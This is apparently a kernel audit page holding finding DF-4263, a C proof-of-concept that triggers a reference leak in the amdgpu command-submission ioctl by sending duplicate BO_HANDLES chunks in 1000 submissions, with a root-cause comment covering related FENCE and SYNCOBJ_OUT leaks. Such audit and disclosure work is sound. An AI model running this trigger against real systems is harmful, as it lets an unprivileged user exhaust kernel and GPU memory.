⬢ DragonFlyBSD Kernel Audit
DF-4263 / dup_chunk_leak.c
← back to finding ↓ download raw
/*
 * DF-4263 — duplicate AMDGPU_CHUNK_ID_BO_HANDLES / _FENCE / _SYNCOBJ_OUT
 *          chunks leak kernel references permanently
 * =====================================================================
 * Root cause: the chunk loop in amdgpu_cs_parser_init()
 * (sys/dev/drm/amd/amdgpu/amdgpu_cs.c:151-222) dispatches on chunk_id and
 * for BO_HANDLES calls amdgpu_cs_bo_handles_chunk() unconditionally, which
 * assigns a NEWLY CREATED bo_list to p->bo_list (amdgpu_cs.c:88-89),
 * overwriting (and never dropping) a list built by a previous chunk of the
 * SAME submission. amdgpu_bo_list_create() (amdgpu_bo_list.c:61-151) returns
 * the list with kref 1 and holds one amdgpu_bo reference per entry
 * (amdgpu_bo_list.c:103). amdgpu_cs_parser_fini() puts p->bo_list exactly
 * once (amdgpu_cs.c:807-808). Net effect per CS ioctl: the first list plus
 * every BO reference it holds leak forever -> kernel heap + GTT/VRAM
 * exhaustion by an unprivileged render-node client.
 *
 * Same pattern, smaller objects:
 *   - AMDGPU_CHUNK_ID_FENCE twice: amdgpu_cs_user_fence_chunk() overwrites
 *     p->uf_entry.tv.bo (amdgpu_cs.c:52) leaking the first amdgpu_bo ref;
 *     fini unrefs once (amdgpu_cs.c:815-819).
 *   - AMDGPU_CHUNK_ID_SYNCOBJ_OUT twice: amdgpu_cs_process_syncobj_out_dep()
 *     overwrites p->post_dep_syncobjs and resets num_post_dep_syncobjs
 *     (amdgpu_cs.c:1148-1151), leaking the first array and every
 *     drm_syncobj reference it holds (fini: amdgpu_cs.c:797-799).
 *
 * This trigger: create one 1 MiB GTT BO, then loop CS submissions whose
 * chunk array contains TWO valid BO_HANDLES chunks, each listing the SAME
 * handle N times. Each successful CS leaks N amdgpu_bo references plus one
 * amdgpu_bo_list. (On real hardware, repeat until GTT exhaustion; here the
 * chunk size check needs >= 6 dwords: sizeof(drm_amdgpu_bo_list_in)==24.)
 *
 * Self-contained; run on a system with amdgpu hardware.
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioccom.h>
#include <errno.h>

#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

#define AMDGPU_GEM_DOMAIN_GTT	0x2
#define AMDGPU_HW_IP_GFX	0
#define CHUNK_ID_IB		0x01
#define CHUNK_ID_BO_HANDLES	0x06

union gem_create_ {
	struct { unsigned long long bo_size, alignment, domains, flags; } in;
	struct { unsigned int handle, _pad; } out;
};
union ctx_ {
	struct { unsigned int op, flags, ctx_id; int priority; } in;
	struct { unsigned int ctx_id, _pad; } alloc;
};
struct chunk_hdr_ { unsigned int chunk_id, length_dw; unsigned long long chunk_data; };
struct chunk_ib_ {
	unsigned int _pad, flags;
	unsigned long long va_start;
	unsigned int ib_bytes, ip_type, ip_instance, ring;
};
struct bo_list_in_ {
	unsigned int operation, list_handle, bo_number, bo_info_size;
	unsigned long long bo_info_ptr;
};
union cs_ {
	struct { unsigned int ctx_id, bo_list_handle, num_chunks, _pad;
		 unsigned long long chunks; } in;
	struct { unsigned long long handle, status; } out;
};

#define IOCTL_GEM_CREATE \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x00, union gem_create_)
#define IOCTL_CTX \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x02, union ctx_)
#define IOCTL_CS \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union cs_)

#define NENTRY		64	/* BO refs leaked per CS = NENTRY */
#define ROUNDS		1000

int
main(void)
{
	union gem_create_ gc;
	union ctx_ ctx;
	union cs_ cs;
	struct chunk_hdr_ hdr[3], ibhdr;
	struct chunk_ib_ ib;
	struct bo_list_in_ bl[2];
	unsigned int entries[NENTRY];
	unsigned long long chunk_ptrs[3];
	int fd, i, r;

	fd = open("/dev/dri/renderD128", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "DF-4263: cannot open /dev/dri/renderD128: %s\n"
		    "On amdgpu hw each CS below permanently leaks %d BO refs "
		    "+ one bo_list (amdgpu_cs.c:88-89 overwrite).\n",
		    strerror(errno), NENTRY);
		return (1);
	}

	memset(&gc, 0, sizeof(gc));
	gc.in.bo_size = 1024 * 1024;
	gc.in.domains = AMDGPU_GEM_DOMAIN_GTT;
	if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) {
		perror("gem_create"); return (1);
	}
	printf("created BO handle=%u\n", gc.out.handle);

	memset(&ctx, 0, sizeof(ctx));
	ctx.in.op = 1;		/* AMDGPU_CTX_OP_ALLOC_CTX */
	if (ioctl(fd, IOCTL_CTX, &ctx) < 0) { perror("ctx alloc"); return (1); }
	printf("ctx id=%u\n", ctx.alloc.ctx_id);

	for (i = 0; i < NENTRY; i++)
		entries[i] = gc.out.handle;

	/* two independent BO_HANDLES payloads */
	for (i = 0; i < 2; i++) {
		memset(&bl[i], 0, sizeof(bl[i]));
		bl[i].operation = 0;
		bl[i].bo_number = NENTRY;
		bl[i].bo_info_size = 8;
		bl[i].bo_info_ptr = (unsigned long long)(uintptr_t)entries;
	}

	/* one minimal valid IB chunk so the CS reaches parser_bos */
	memset(&ib, 0, sizeof(ib));
	ib.ip_type = AMDGPU_HW_IP_GFX;
	ib.ring = 0;
	ib.ib_bytes = 16;
	ib.va_start = 0;

	memset(&ibhdr, 0, sizeof(ibhdr));
	ibhdr.chunk_id = CHUNK_ID_IB;
	ibhdr.length_dw = sizeof(ib) / 4;	/* 8 dwords, meets DF-1484 size */
	ibhdr.chunk_data = (unsigned long long)(uintptr_t)&ib;

	hdr[0].chunk_id = CHUNK_ID_BO_HANDLES;
	hdr[0].length_dw = sizeof(struct bo_list_in_) / 4;	/* 6 dwords */
	hdr[0].chunk_data = (unsigned long long)(uintptr_t)&bl[0];
	hdr[1] = hdr[0];
	hdr[1].chunk_data = (unsigned long long)(uintptr_t)&bl[1];
	/* hdr[2] left zero: we submit chunks = {BO_HANDLES, BO_HANDLES, IB} */
	hdr[2] = ibhdr;

	chunk_ptrs[0] = (unsigned long long)(uintptr_t)&hdr[0];
	chunk_ptrs[1] = (unsigned long long)(uintptr_t)&hdr[1];
	chunk_ptrs[2] = (unsigned long long)(uintptr_t)&hdr[2];

	for (r = 0; r < ROUNDS; r++) {
		memset(&cs, 0, sizeof(cs));
		cs.in.ctx_id = ctx.alloc.ctx_id;
		cs.in.num_chunks = 3;
		cs.in.chunks = (unsigned long long)(uintptr_t)chunk_ptrs;
		if (ioctl(fd, IOCTL_CS, &cs) < 0) {
			perror("CS"); printf("failed at round %d\n", r);
			return (1);
		}
	}
	printf("submitted %d CS with duplicated BO_HANDLES chunks; "
	    "%d BO references + %d bo_list objects leaked permanently\n",
	    ROUNDS, ROUNDS * NENTRY, ROUNDS);
	return (0);
}